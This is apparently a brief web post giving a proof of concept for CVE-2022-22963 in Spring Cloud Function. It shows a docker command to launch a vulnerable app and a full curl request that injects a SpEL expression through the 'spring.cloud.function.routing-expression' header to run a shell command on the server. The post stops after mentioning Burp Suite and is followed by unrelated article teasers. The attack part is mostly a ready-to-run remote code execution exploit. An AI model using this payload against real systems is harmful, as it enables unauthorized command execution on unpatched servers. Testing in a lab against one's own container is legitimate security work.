CVE-2022-22963 is to run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example:
docker run -it -d -p 8080:8080 bobcheat/springboot-public
Curl command:
curl -i -s -k -X $’POST’ -H $’Host: 192.168.1.2:8080′ -H $’spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\”touch /tmp/test”)’ –data-binary $’exploit_poc’ $’http://192.168.1.2:8080/functionRouter’
Or using Burp suite:
Samba is a free, open-source implementation of the SMB/CIFS network protocol that lets Linux servers share…
Running your own VPN gives you full control over your traffic, privacy, and connection security. It encrypts…
IntelliJ IDEA is a full-featured IDE for JVM and Android development made by JetBrains. It includes…
Steam is a cross-platform digital distribution platform by Valve Corporation that gives you access to thousands…
Redmine is one of the most popular open-source project management and issue tracking platforms. It is…
VirtualBox is a free, open-source, cross-platform virtualization application maintained by Oracle. It lets you run multiple…